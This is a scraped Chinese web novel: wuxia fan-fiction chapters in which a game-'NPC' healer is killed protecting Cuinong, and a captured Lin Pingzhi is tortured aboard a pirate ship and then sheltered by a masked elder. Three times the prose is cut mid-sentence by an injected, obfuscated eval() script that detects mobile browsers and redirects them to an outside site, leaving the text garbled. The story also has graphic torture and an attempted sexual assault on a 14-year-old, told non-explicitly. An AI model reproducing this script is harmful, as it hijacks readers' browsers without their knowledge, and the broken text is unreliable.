翠浓赶忙走到斑驳的佛像前,轻声细语地说道:“爹,我带了你爱吃的……” 话音未落,蛛网上的灰尘簌簌落下,马空群从残破的佛像后缓缓转出。 他身形消瘦如柴,面容憔悴不堪,深陷的眼窝里,一双眼睛满是疲惫与警惕。那只被削秃的手,裹着脏兮兮的破布,在昏暗的光线下显得格外扎眼。 浑浊的眼珠扫到了尤明姜和叶开,他脸色煞白,下意识地往后踉跄了一步。 他猛地转头看向翠浓,眼中怒火熊熊燃烧:“贱人,你竟然敢背叛我!” 刹那间,马空群像是被点燃的火药桶,突然暴起发难! 他持刀直冲着翠浓扑了过去。 刀刃上映射出荧绿的冷光,在翠浓毫无血色的脸上一闪而过。 马空群眼中只剩下疯狂与决绝。 . 尤明姜的瞳孔猛地一缩。 这刀上淬了剧毒! 叶开的飞刀与马空群的利刃,同时划破沉闷的空气。 然而,马空群的濒死一搏,快得超乎想象。 翠浓惊恐地瞪大双眼,眼眸里倒映出刀刃的寒光。 眼睁睁地看着那致命的一刀逼近。 泪水夺眶而出,在翠浓苍白的脸颊上肆意流淌。 “嗤——” 利刃穿透皮肉的声音在破庙内格外清晰。 温热的血沫飞溅而出,溅落在翠浓那满是惊骇的脸上。 这致命一击,狠辣、精准、沉稳,直直地刺透了心脏主动脉。 几乎在同一刹那,叶开的飞刀也如一道寒芒,钉入马空群的心口。 “扑通”一声,马空群重重地摔在地上,溅起一片浑浊的尘土。 “不!!!”翠浓发出一声凄厉的尖叫。 她颤抖着双手,接住尤明姜下滑的身体,掌心瞬间被滚烫的鲜血浸透。 血滴在地上,洇出一朵触目惊心的红梅。 叶开猛然跳起身,在她的竹编药篓里翻找起来。 他的双手慌乱地翻动着,希望能找到一丝生机。 可惜空间是认主的,叶开并没有找到任何能救她性命的药物。 . 马空群躺在地上,气息微弱,跟风中残烛似的。 尤明姜吐出一口鲜血,她望着马空群,艰难道:“你这一刀真是,咳咳,真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14996294|159209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是下了死手啊……你已经对不起她太多,怎么忍心继续伤害她……” “……我养她这么大,利用她又怎样?她本就该为我所用!”每一个字都像是从牙缝里挤出来的,带着浓浓的恶意,“临死之前能拉你垫背,值了!” 一股怒火从翠浓心底熊熊燃烧,直冲脑门。 双眸被仇恨染得猩红,猛地拔出了尤明姜赠给她防身的乌木短刀。 翠浓一下子冲到马空群身前,手中的短刀狠狠刺下! 尤明姜曾说要自己斩断命运的枷锁,她最该斩断的,就是这如噩梦般的血缘! “噗”的一声,乌木短刀直直刺入马空群的胸口! 鲜血瞬间涌出,溅到翠浓的脸上,与她的泪水混在一起,分不清是血还是泪。 翠浓像是发了狂,她不管不顾,一下又一下地将刀刺入马空群的身体,每刺一下,就伴随着一声痛苦又愤怒的嘶吼:“这是你欠我的!这也是你欠尤大夫的!” “你既不要我这个女儿,我也不需要你这种父亲!” 直到马空群彻底没了动静,身体变得冰冷僵硬,翠浓才停下手中的动作。 当啷—— 她松开手,乌木短刀掉落在地,发出一声清脆的声响。 她瘫坐在地上,眼神呆滞地望着眼前早已没了气息的马空群。 “翠浓……” 尤明姜喉中涌出的鲜血淹没了话语。 “我在……我在!”翠浓这才回过神来,她连滚带爬地凑到尤明姜身边,双手紧紧握着她的手,仿佛这样就能把她留住,“我在啊,尤大夫……” “万马堂……马师们的毒,只有这瓶药能解……他们不敢不听你的……”将小瓷瓶塞进翠浓颤抖的掌心,她呛出一口血,“马空群死了,万马堂……是你的了……” 翠浓疯狂摇头,泪水如决堤的洪水般汹涌而下,砸在尤明姜逐渐失温的脸颊上:“我不要万马堂,我只要你啊!” 她疯狂擦拭着尤明姜嘴角不断涌出的鲜血,可那血却怎么也擦不完。 “……拿着……”尤明姜反握住她的手,将小瓷瓶塞进她被泪水浸湿的掌心,她的手无力地垂落,“答应我……否则我……咳咳!” “我都答应你……都答应……” 翠浓抱着她,感觉自己的世界正在崩塌,眼泪滴落在她的脸上,声音带着绝望的哭腔,“尤大夫,你答应过要看着我好好活下去的,你不能食言……” 尤明姜笑了笑,那笑容虚弱却又带着一丝温柔,她更加用力地握住翠浓的手。 她试图将自己的功力传给翠浓,可惜失败了。 NPC和真人到底是不一样的。 尤明姜费劲地张了张嘴,眼前的人开始重影,她的意识也渐渐飘远:“别怕,我不会死的……我会咳咳……” 喉咙深处突然涌起一股腥甜,尤明姜本能地仰头吞咽,却听见胸腔里炸开一串破碎的水泡声,更多的血涌上来。 喉咙像是被堵住,除了涌出的鲜血,什么也说不出来。 视线愈发模糊,空洞的眼睛望向了叶开,她嘴唇轻颤,却发不出完整的音节。 “替我……帮……”未尽的话语化作血沫,她的瞳孔开始涣散。 叶开读懂了尤明姜的意思。 他用力地点点头,握紧尤明姜的手:“你放心,我一定帮翠浓……” 尤明姜的眼睑缓缓下垂,一点点遮盖住那曾经充满神采的双眼。 “尤大夫,你醒醒,你醒醒啊……” 翠浓潸然泪下,徒劳地按住她心口,却发现掌下的温度正在消散。 叶开把了把她的脉搏,默默地站起身,声音低沉而悲痛:“没用了。” “尤大夫——”破庙内传来一声凄厉的悲呼。 傅红雪的跛足重重磕在庙门槛上,腐木碎屑扎进掌心,他却浑然不觉。 月光从裂开的穹顶漏下来,正照在尤明姜垂落的手腕上。 尤明姜的身躯从指尖开始,渐渐化作细碎的星光飘散。 傅红雪踉跄着扑跪在地,扯下外袍想裹住她消散的身躯,兜住的却是一阵风。 “不要……” 翠浓抓向空中,最亮的一簇星光萦绕着翠浓打转,在她挂着泪珠的睫毛上停留片刻,忽而炸开成细雪般的碎玉屑,是尤明姜留给她最后的温柔。 星光消散的地上,落了一张纸条,似乎是一张借据: “□□二年□月□□日,本人尤明姜向傅红雪借款银锭五十两,限至貳年还本钱使了。如违限不偿钱,月别拾钱后生利钱壹文入左。” 傅红雪突然剧烈地咳嗽,喉间涌上的鲜血溅在“限至貳年还本钱使”的字样上。 把那个未兑现的日期染得猩红。 . . 【NPC尤明姜已死亡。】 【168小时复活倒计时启动……】 . . 34.少年 东南海域,天穹低垂。 铅灰色云层压着浪尖翻涌,银鸥群掠过海面,翅羽几乎要沾上咸涩的浪沫。 黑帆刺破浓雾,紫鲸帮的三桅巨舰正破浪前行,船头劈开层层白浪。 海阔天踞坐虎皮交椅,粗粝的手指碾着黄铜做的烟杆儿。 对面青衫男子垂眸把玩着夜光杯,案几上泛黄的海图被咸风掀起一角。 烟锅里暗红火光忽明忽暗,将海阔天左颊的刀疤映得愈发狰狞。 “照丁公子这般说辞,倒是我海某人眼拙了?”烟嗓裹着海腥味在舱内弥散。 丁枫指腹摩挲着杯沿,夜光杯与玉戒相击泠泠:“当年福威镖局威震东南七省,靠的可不是虚名。” 海阔天喉间滚出闷雷般的冷笑,烟杆重重磕在案几上:“可惜那小子骨头太硬,如果叫那位知晓……” 他忽然收声,布满老茧的拇指在喉间虚划。 丁枫轻笑,杯中的葡萄酒泛起细碎的涟漪:“死人的喉舌最是稳妥。” 海阔天暴喝道:“王得志!李得标!给老子撬开那小崽子的嘴!再问不出剑谱下落——” 他蒲扇般的手掌猛然攥紧,“就剁碎了喂鲨鱼!” . 底舱深处,咸腥气浸透每一寸木板。 王得志嘴里嚼着槟榔,催促着李得标快点儿揭开舱盖儿。 李得标啐了口唾沫,锈蚀的铁撬在盖板缝隙间发出刺耳的摩擦声。 随着木板掀起,浓烈的海腥味裹挟着腐败气息扑面而来。 昏暗中可见数十个竹篓堆叠如山,青蟹的螯钳穿透篾条缝隙,斑节虾在盐霜覆盖的冰碴间微微弹动。 昏光从舱口漏进来,映出刑架上的单薄身影,和半张覆着褐色血痂的脸。 少年头颅低垂,鸦羽般的长发被血污黏成绺,发梢还凝着暗红的血珠,苍白面容上交错着鞭痕,似被风雨摧折的白玉兰。 王得志、李得标顺着梯子,一前一后爬到舱底。 见状,他们上前使劲拍了拍少年的脸,少年毫无反应。 李得标鼻腔里哼出冷笑,转身抄起浸着冰碴的木盆。 混着盐粒的冰瀑倾泻,少年单薄的脊背瞬间绷成弓弦,水珠顺着蝴蝶骨滚入血肉模糊的鞭痕。 “咳……咳咳!”林平之猛然呛醒,喉间泛起铁锈味。 他眯着肿胀的眼睑望去,两个虬髯汉子正如豺狼环伺。 额角新裂的伤口渗出血珠,顺着下颌滑进衣领,在月白衣袍上绽开红梅。 李得标捏住少年下巴,“乖乖说出剑谱下落,爷赏你个痛快。” 林平之看向舱口,心中冷笑:这群龟孙儿,竟在打辟邪剑谱的主意! “老子问你话!”王得志眼睛顿时危险地眯起,“给大爷老实点儿!” “啐!”林平之刚吐了口血沫,蒲扇般的巴掌已带着腥风掴来。 王得志光着膀子,照着他脸上啪啪啪左右开弓。 “嗬……”林平之只觉耳畔嗡鸣,咸腥在舌尖漫开。 “小兔崽子还装死!”王得志抡起盛满冰水的木盆,兜头浇下。 血线蜿蜒着爬过眉骨,在下颌凝成暗红的痂。 林平之记不清这是第几次在咸腥里呛醒,冰水裹着盐粒渗进绽开的皮肉,激得他喉头痉挛,额角的伤口又开始渗血,顺着睫毛淌进左眼,将眼睑染成腥咸的锈色。 “倒是块硬骨头。”李得标用手背拍打他肿胀的颧骨,铁锈味在齿间漫开。 舱顶悬着的油灯晃得人目眩,照见舱板缝隙里干涸的褐色血斑。 王得志忽然俯身逼近,发黄的牙齿几乎咬上他耳垂:“老子最后问一次,剑谱藏哪了?” 林平之剧烈咳嗽起来,血沫溅在对方的衣襟,他感觉肋骨可能断了两根,每次呼吸都像吞着碎瓷片。指节在背后悄悄蜷曲,方才从刑架上抠下来半截儿铁钉,铁钉已刺破掌心,疼痛让混沌的头脑清明了些许。 “招……”林平之哑着嗓子挤出气音,喉结艰难滚动,“我招。” 油灯突然爆出个灯花。 王得志的独眼在阴影里骤然发亮,刀疤横贯的左脸抽搐着:“说!” “在……”林平之佝偻着咳喘,脊背弓成濒死的虾。 俩个海盗急忙追问:“在哪儿?” 这个半道冒出来坏事儿的小子,把他们关在塘下渡口、原本要被贩卖到海上销金窟的那群年轻女子放跑了! 幸亏这小子自报家门,说自己是福威镖局的少镖主。 海帮主听蝙蝠公子提过此事,而蝙蝠岛上一直没能得到《辟邪剑谱》,这才留他一条命,本以为能从他口中审问出剑谱的下落,没想到这小子嘴硬极了。 林平之盯着舱顶摇晃的渔灯,忽而嗤笑:“辟邪剑谱……可不就在林北祖坟碑文上刻着?” “找死!”铁拳裹着怒风砸向了少年的腹部。 少年如虾米般蜷缩,却硬生生将痛呼咽回喉间,血溅上舱壁,晕开点点猩红。 . 王得志忽然顿住。 摇曳的油灯将残影投在舱壁上。 昏光里,少年散乱的乌发间凝着血痂,凌乱衣襟下露出一截瓷白脖颈,宛如暴风雨中挣扎的天鹅,随挣扎在昏光里划出莹润的弧。 王得志摩挲着他的颈侧,这小子皮肤竟比福州官窑的甜白瓷还滑腻。 “咗嘢诺粑粑样,颠趴啊!”扭头避开王得志的脏手,少年憎恶地啐口血沫,“再动林北下,爬洗女机椰昂养!” “没想到还是个娇滴滴的兔儿爷!”王得志脸上露出淫.笑,“好凶啊~早听说闽南多尤物……” 他喉结滚动,糙手扯向他的腰带:“这般好皮相,喂鱼倒是可惜……” 海帮主下令让他俩结果了这小子,在动手之前,先好好折磨消遣一番,也未尝不可吧? 林平之生得貌若好女,平日里但凡敢调戏他的小痞子,都会吃他一记耳刮子。 “兔儿爷”仨字儿更是他的忌讳。 一个可怕的念头涌入了他的脑海。 “来陪大爷玩玩!”两个海盗狞笑着,一副猴急样儿,解下了刑架上的少年。 林平之大惊失色,双腿拼命踢蹬,腿蓄力顶向其中某个海盗的肚子。 硬生生挨了几记膝顶,舱底霉味儿混着血腥气在肚子里翻搅,李得标的指节卡进林平之颌骨:“龟孙儿!你丫的还敢打人!” 林平之自幼富养,虽是福威镖局的少镖主,却一身三脚猫功夫,居于下风。 三人扭作一团撞向舱壁,盛满了银鱼的木桶轰然翻倒。 林平之后脑撞上刑架,血腥气刺得他胃袋抽搐,腥咸的血味在口中炸开。 “厝里祖公牌都要倒转来!” 眼看着就要吃亏,少年忽然爆出嘶吼,一个膝撞顶向对方胯间。 只听一声惨叫,林平之凭着最后气力翻身压住了个海盗,铁钉深深捅进对方颈侧跳动的血脉,鲜血狂喷;再趁着另一个愣神的工夫,他情急之下,拔出藏在靴子里的袖珍小刀,手背浮起青筋,寒光乍现,眼前瞬息划过一道血线! 被抹了脖子的海盗,倒下时像被抽了骨头的皮影,血珠子溅在舱壁上。 那一瞬间,他感到心头一阵快意,积压已久的恨意终于得到了宣泄。 他发狠般连捅数刀,直到虎口震麻才颓然跪倒。 血腥气混着胃液翻涌,他颤抖着抹去脸上血污,却发现泪水已模糊视线。 踉跄着扶住木桶,一股咸腥气直冲脑门,喉头滚着酸涩的咸,仿佛有什么东西要从喉咙里冲出来,他弯下腰,剧烈地干呕起来,口腔里弥漫着一股酸涩的苦味。 他一边吐,一边流泪,可胃里早已空空如也,什么也吐不出来。 林平之瘫坐半晌,耳边是海浪拍打船身的声响,忽然想要放声大哭。 “我……我没错……”他抽泣着,攥紧染血的匕首喃喃,指甲深深陷入掌心,“这些畜生……死有余辜……” “该下十八层炼狱的。” 他咬着后槽牙呢喃,舱底混杂着鱼腥的血腥味儿灌进嗓子,倒把眼泪逼了回去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15005764|159209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底舱传来铁链碰撞的闷响,惊醒了怔忡的少年。 他必须离开这里,必须逃离这个鬼地方。 林平之贴着潮湿的舱壁挪步,桐油浸透的木板泛着冷光,倒映出他鬓角细密的汗珠,绳梯的麻纤维扎进指腹,每攀一步都痛得他粗喘连连。 转角处忽有灯火摇曳,三个赤膊汉子提着酒坛晃来。 酒气混着腌鱼味扑面,为首那个一脸横肉的海盗,突然眯起眼笑:“好俊的老鼠崽子!” “哒哒哒——”林平之不假思索,拔腿就跑。 他跃上绳梯,双手一用力,鞋子用力地踩过一道道横桄,冷汗沿着下颚滴落,林平之只要看到绳梯什么的就往上跑。 “抓住他!”追上来的海盗指着他大喊。 . 舷窗外惊涛拍岸,似万千冤魂呜咽。 身后的脚步声越来越近,海盗们的呼吸声仿佛就在他的耳边。 少年踉跄攀上绳梯,月白袍角在咸风中猎猎如旗。 他不想死,至少现在不想。 他才十四岁,人生才刚刚开始! 这个念头在他的脑海里反复回响,是他唯一的支撑。 脚步声混着此起彼伏的呼喝,廊道上的油布蹭过面颊,带着咸湿的霉味,林平之几乎要没力气了。 “抓住那小崽子!”嘶吼声贴着脊梁骨爬上来。 就在他几乎绝望的时候,一扇半掩的门出现在他的视线里。 门上挂着一个小编篮,篮子里装着一束风干的紫草,显得格外醒目。 林平之知道,这扇门或许无法真正保护他,但至少能为他争取一点时间。 他没有犹豫,几乎是本能地冲进了那扇舱门,紫草簌簌落了满肩。 紧接着,他身形疾转,“砰”的一声,用尽全力甩上身后的门,“咔哒”一响,门栓被他狠狠插下。 林平之背贴舱壁急喘,手指紧紧扣住门板,指尖因为用力而发白。 他整个人如一张拉满的弓,浑身肌肉紧绷,每一根神经都被恐惧狠狠攥住。 时间仿佛在这一刻凝固了。 . 舱门外,海盗们已围成铁壁。 惊慌在心底疯狂滋长,林平之脑海一片空白,竟不知接下来该逃到哪儿去。 他清楚,这扇门,根本挡不住门外的危机,或许下一刻,便会被撞得粉碎。 多么希望这只是一场可怖的噩梦,待醒来,一切依旧安宁。 可现实却冰冷刺骨,他只能绝望地等待命运的裁决。 然而,奇怪的是,门外的海盗们却迟迟没有采取撞门的举动。 他们的脚步声停了下来,只是发出了一阵低沉的交谈声。 林平之缓缓瘫倒在地,眼神空洞,满是绝望:“我该怎么办……” 他绞尽脑汁,却依旧想不出脱身之计。 他绝不愿如此屈辱地落入海盗手中。 在这绝境之中,似乎唯有投身大海,葬身鱼腹,才是最终的归宿。 林平之眼眶泛红,泪水在眼眶中打转,却咬着牙,强忍着不让泪水落下。 但他从不后悔放走那些年轻女子。 他深知,如果那些女子落入这群海盗之手,她们的遭遇只会比他更加凄惨。 “怎么办?”一道清越的嗓音骤然响起,“什么该怎么办?” 林平之悚然一惊,抬眸望去—— 只见桌前坐着位青衣女子,如瀑的长发随意披散在身后,发梢垂至后腰。 她脸上戴着一张神秘的傩面具,让人无法看清她的神情。 正一手执着毛笔,一手轻压宣纸,每次不过寥寥数行,便又换一张纸。 她时而停下笔,笔尖轻点纸面,似在思索着什么。 听到林平之的动静,女子头也未抬,毛笔在她指间微顿,墨汁在宣纸上泅开:“擅闯者,该当何罪?” 林平之怔望那道身影,连忙拱手作揖,恭敬说道: “福州林平之……求这位姐姐……赐条生路……” . 35.三钧弓 望着宣纸上洇开的“翠浓”二字,尤明姜皱了皱眉,把毛笔搁在了砚台之上。 “诨叫什么?谁是你姐姐?” 她抬头时,望见那道背倚着舱门的身影,傩面具下流转的眼波忽而一滞,后半句就咽下了肚,改口却成了:“……真是有魄力。” 真是神仙般的人物。 少年单薄的身影倚着门框,破碎的月白袍子洇着斑斑血迹,却掩不住精致的眉眼,不过十四五岁,已漂亮得般般入画。 舱内烛火晃得厉害,满室光影被搅成碎玉。 林平之能清晰感受到那道审视的目光。 他脊背绷得笔直,直到对方移开视线才暗自松气。 “小兄弟,谁把你伤成了这样的?” “紫鲸帮。”林平之指节发白,突然激动起来,胸口气血翻涌,喉间泛起腥甜,“但教小子尚存一息,定要手刃紫鲸帮!” “哦?紫鲸帮跟你有什么怨仇?”傩面具后的声音奇道,“说来听听。” 林平之犹豫片刻,将渡口遭遇和盘托出。 “小子本是福威镖局的少镖头,在渡口目睹紫鲸帮抢掠良家女子。我趁他们不备,将那些被关押的女子全都放走了。为了拖延他们,我不幸被抓到船上。他们妄图从我这里得到家传宝物,我坚决不肯,就被打成了这副模样。” 说到被拷问家传宝物时,染血的拳头攥得紧紧的,浑身抖得跟筛糠似的。 “原来是位小侠士。”青衣女子语气温柔,指节在傩面具上轻轻叩了叩。 海风呼啸,海浪拍打着船舷,发出沉闷的声响。 船舱内,一盏昏黄的油灯在摇晃的支架上摇曳,映照着四周的舱壁。 “你既如此侠义,我自是不能坐视不管。”轻按扶手处的机簧,轮椅机括声骤起,轴辘“骨碌碌”碾过船板,转眼已到了他身前。 “谢过姐姐!”林平之喜色刚起,目光扫过她膝上薄毯又转为迟疑。 她看起来不良于行,双腿不能下地,当真能与海盗抗衡吗? 更可疑的是…… 她怎么会出现在紫鲸帮的船上? 她又是什么人? . 门外忽然传来了一阵骚动。 这个细微的动静引起了他的警觉。 “干什么吃的,怎么能让人跑到这里来!”海盗的咒骂声中透着惶恐,“不要惊扰贵客,速请海帮主前来!” ……贵客? 隔着门缝听得一清二楚,林平之瞳孔骤缩,心脏陡然提了起来。 能让海盗称“贵客”又这般忌惮的,绝对不是什么善茬! 电光火石间,他身形暴起,使出一招家传绝学,喝道:“得罪了!” 尤明姜挑了挑眉,轻轻一叹。 她不避不闪,反拧扣住他腕间命门,弹指点了他膝窝的穴位,林平之踉跄半步,颓然地跪在了船板上,挣扎间,热泪砸在船板上绽开朵朵暗花。 望着他颤抖的肩胛,尤明姜又是一叹,手臂环上他的腰肢,发力将他稳稳抱起。 忽然天旋地转。 冷不丁地,双脚一下子悬在了半空,林平之的心冻结了,他声音都带着哭腔,里头全是害怕和绝望:“放开我!” “老实些。”尤明姜指尖连点封住他几处大穴。 后脑刚挨上柔软的枕头,他的泪珠就顺着鼻梁滑落,在枕巾上洇出小小的湿痕,林平之望着舱顶,恍觉自己成了个任人摆弄的玩偶,回想起她一招将自己制住,泪水在眼中打转,心中思潮翻涌:“爹爹、妈妈,平之不孝,恐怕是刚出虎口又入狼窝,只能等来生再报答二老的养育之恩了……” 尤明姜俯身,伸手拂开他额前染血的碎发。 林平之害怕地闭上眼睛,脸上却传来了轻柔的触碰,似是在擦拭他脸上的血污。 与此同时,他嗅到了一股清新柔和的紫草香气。 “你……”他呆愣愣地睁开眼睛,却从傩面具后的那双眼睛里看出了关切。 . “笃笃笃!”突然传来一阵敲门声。 林平之心里猛地一沉,明白是紫鲸帮的海盗头子找来了。 他用力撑开沉重的眼皮,尤明姜的指尖却轻轻点在他的膻中穴上。 刹那间,一股难以抗拒的困意如潮水般涌来,将他彻底淹没。 林平之徒劳地挣扎着,他缓缓合上双眼,昏昏沉沉地睡着了。 少年双眼紧闭,眼角凝着几滴泪,跟梅蕊里凝成的冰珠似的,脆弱又惹眼。他睫毛纤浓,在眼睑上投下一小片阴影,脸上的伤痕添了几分楚楚可怜的意味。 “真漂亮。”尤明姜由衷地赞叹。 她的赞叹不掺杂任何情欲的成分,就像是恰好邂逅了昙花的盛放,心底毫无攀折、采撷的欲念,只是纯粹的惊艳之感油然而生。 尤明姜轻手轻脚地拉过被子,仔细掖好边角,瞧见他那脏兮兮的额头上,还残留着红褐色的血痂,她又换了块干净的纱布,轻轻浸入温水中,待手帕吸饱了水,又拧至半干。 她坐在床边,身子微微前倾,一点点地擦拭着他脸上的污渍,生怕弄疼了他。 “笃笃笃!笃笃笃——” 丁枫迈步走到了门口,他轻轻敲了敲门,开口道:“尤长老?” 敲门声很轻,但是不停地敲着,跟催命似地敲,敲得让人心烦意乱。 “啧。”尤明姜指尖微顿,傩面转向门扉,周身慵懒尽褪,轮椅疾转带起劲风,舱门轰然洞开。 “啪!”一记耳光响彻廊道。 丁枫左脸迅速红肿,他满脸都是不可置信,自己竟然被人扇了耳光! 周遭瞬间安静下来,只能听到呼啸的海风和海浪拍击船身的声音。 海盗们喉结滚动了几下,噤若寒蝉。 尤明姜淡淡收手,看都懒得看他一眼,门口站着二十几个海盗。 海风肆意灌进船舱,吹得地上的灰尘和杂物打着旋儿。 “你们……”尤明姜语气不善,“来做什么的?” 海盗们:“……” 三日前,他们亲眼见过尤明姜倚着桅杆,在颠簸船板上挽三钧弓。 尤明姜抚摸着手中弓箭,突然抬臂指向前方浪尖,当时,一尾约莫四尺八寸的鲟鱼,刚好跃出了海面。 弓开如满月:“看我一箭射中它的背鳍!” 弦音未绝,鲟鱼的背鳍已钉上了羽箭,在海面上拖出一道血线。 拉开三钧弓不算稀奇,身体强壮的江湖中人大多都能做到;射死低空盘旋、得手机会较大的海鸟,也并非难事。 但要在鲟鱼跃出水面的瞬间,一箭射中其背鳍,还能精准控制力道,仅仅射伤而不将其杀死,难度极大,必定得是技艺精湛且力量强劲的人,才有把握做到。 . 尤明姜眼尾扫过众人,二十多个海盗不约而同蹭着船板后退。 “哈哈哈,尤长老气色很好,这么长日子也不见你出门,真是想死我了。” 海盗们自觉让到了两边,海阔天笑着走来,身后跟着悍匪“海上孤鹰”向天飞。 她戴着傩面具,哪里看得出气色好不好? 睁着眼睛在说瞎话。 “恐怕不是想死我,而是想我死吧?” 海阔天赔笑道:“我说尤长老,十年修得同船渡,不妨给老哥哥我个面子,让我把那个小崽子抓走,也不妨碍你的清静不是?” “……给你面子?”尤明姜上上下下望了他几眼,“你多大的面子?” 海阔天咬牙道:“你我抬头不见低头见,何必把事做绝?尤长老,我好歹也是一派之主,这点薄面你都不给么?!” “海帮主的面子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“冷静了么?找死之前,我劝你还是想清楚,死在我手里,你的死相不会比这木头好看多少。”尤明姜慢条斯理掸去指尖木屑,只留满地打滚的向天飞与战栗的海盗们。 海阔天喉结滚动,终于明白为何黑木崖会派个残废去蝙蝠岛。 这人分明是个头戴傩面具的罗刹。 尤明姜指尖还沾着木屑,漫不经心捻了捻:“海帮主要试试这木头的滋味么?” 海阔天盯着舱门上碗大的窟窿,喉结上下滚动,那切口平滑如镜,分明是生生用手指剜出来的。 “尤长老说笑了。”海阔天喉结滚动着后退,靴子撞上蜷缩的向天飞,“只是这小崽子放跑了蝙蝠公子的【货】,恐怕届时到了蝙蝠岛,在公子那儿没法子交代呢……” 傩面具突然逼近,惊得他后背撞上舱壁,尤明姜淡淡道:“你在威胁我?” 等海阔天终于回魂,连忙赔笑道:“误会!都是误会……”他忽然瞥见舱内榻上昏睡的美貌少年,福至心灵:“长老若喜欢这小崽子,不如……” “咔嚓!” 剧痛迟了半拍才传来。 海阔天望着自己齐根断去的尾指,终于瘫坐在血泊里。那枚翡翠扳指还在船板上打转,染血的戒面映出女子森冷的傩面具。 “我最恨两件事。”尤明姜捻起断指,顺着舷窗掷向海面,惊起一串银鱼,“威胁,和聒噪。” 整艘船上一片死寂。 浪涛声中,她推着轮椅退回舱内。 “砰”的一声,关门声在寂静的氛围里显得格外突兀。 . 36.猫 一波波海浪的翻腾声,将昏睡中的林平之从混沌中唤醒。 恍惚间,他只觉有温热的指尖轻轻抚过自己结痂的额头。 林平之睫毛微微颤动,待看清那张半隐于阴影之中的傩面具时,惊恐瞬间涌上心头,下意识地往床角缩去。 可动作太过猛烈,牵扯到伤口,一阵剧痛袭来,他忍不住闷哼出声。 “吓到你了?”尤明姜手托粗陶碗,碗里盛着汤,柔声说道,“你放心,我不会伤害你的。这是续断杜仲猪骨汤,趁热喝,对你的伤有好处。” 这汤是用慢火细细熬制而成,汤底里的杜仲片和续断根都煮得软烂,猪骨髓也熬出了胶。汤面飘着的油沫被撇个干净,泛着清亮的琥珀色,一看便是花了心思。 林平之陷在被褥里,衣衫松松垮垮地披着,鸦青发缕缠在脖颈上,衣领滑开,露出凹陷的锁骨。他嘴唇抿成直线,眼尾红得刺眼,在苍白的脸上显得格外醒目。 他亲耳听见紫鲸帮的人恭恭敬敬地唤她“贵客”,作不得假! 在他看来,这些人分明就是一丘之貉,狼狈为奸! 他心里满是抗拒,才不要喝她熬的汤哩! 尤明姜一手托着粗陶碗,一手贴着碗沿舀起半勺汤,轻轻吹了吹,才往前递了递。林平之侧头躲开勺子,手指死死扣着床沿,关节因用力而泛白,“我不喝!” “吃饱喝足才有力气。”尤明姜轻轻叹了口气,她的手腕被热气烘出一层薄汗,可指节却依旧稳稳托着勺子,耐心十足。 “啪嚓”一声,林平之扬手一挥,粗陶碗在船板上骨碌碌地转圈。 汤水“滴滴嗒嗒”地顺着她的指尖儿往下淌。 尤明姜看向自己泛红的手背,又将目光投向蜷在床角的林平之。 攥着同样泛红的左手,林平之整个人绷得像满弓,连发梢都在微微颤抖。 直到这时,他才惊觉一阵恐惧袭来,忍不住暗自思忖:她会怎么惩罚我? 那些可怕的场景不受控制地浮现在眼前。 林平之眼尾红得好似要滴出血来,连眨眼都变得慢腾腾的,满心都是对想象中虐打的恐惧。 可出乎他意料的是,尤明姜只是轻轻说:“倒是省得我试温了。” 说罢,她取出一罐紫云膏,指尖蘸着紫红药膏,慢条斯理地涂抹在自己的手背上,而后又轻轻涂在林平之的手背上。手背传来紫云膏的凉意,林平之警惕地盯着她,只要她稍有别的动作,就打算拼尽全力反抗。 “我知道你不信我,放心吧,等你伤好些,我就送你离开。” 见他仍旧紧绷着脸,尤明姜收好紫云膏,转身按下轮椅的机簧,“睡吧。” 舱门在尤明姜身后缓缓关上。 “她到底想干什么?”林平之死死盯着那扇紧闭的舱门, 灯影在舱壁上晃来晃去,海浪依旧拍打着船身,发出沉闷的声响。 . 林平之躺在那有些潮湿的被褥上,眼睛始终盯着舱门。 每一丝最细微的声响,都能让他神经紧绷。 他不断回想着自己的遭遇,从被紫鲸帮掳走到被青衣女子所救。 随着海风的呼啸声越来越大,他的眼皮也越来越沉重,意识渐渐模糊。 而身体的异样也在这恍惚间开始浮现,后半夜的时候,林平之开始浑身发冷。 冷汗顺着他的脊梁沟往下淌,肺叶里像是塞了炭块,连呼吸都变得沉重起来,睫毛也仿佛有千斤重。 混沌之中,有块温帕子敷在他的额头上,可他连掀开眼皮的力气都攒不起来。 船在浪里摇摇晃晃,像醉汉手里的酒壶,舱室在浪涌中发出细微的吱呀声,每一声都像是在他脆弱的神经上拉扯。 不知过了多久,林平之在迷离的光影间睁开眼,紫草香隐隐地萦绕在鼻尖儿。 来人挨着床沿坐下,抚过他汗湿的额头,脸模糊在灯影里,泛着温柔的光晕。 “娘……”少年嘴唇翕动,挂在眼睫毛上的泪珠摇摇欲坠,喉间涌上一股铁锈味。他挣扎着抬起酸痛的手臂,指节因用力而泛白,“救救……平之……” 话还没说完,就被一阵剧烈的咳嗽打断了。 那只手覆上他痉挛的手背,掌心覆着一层薄茧,安抚的节奏生涩却坚定。 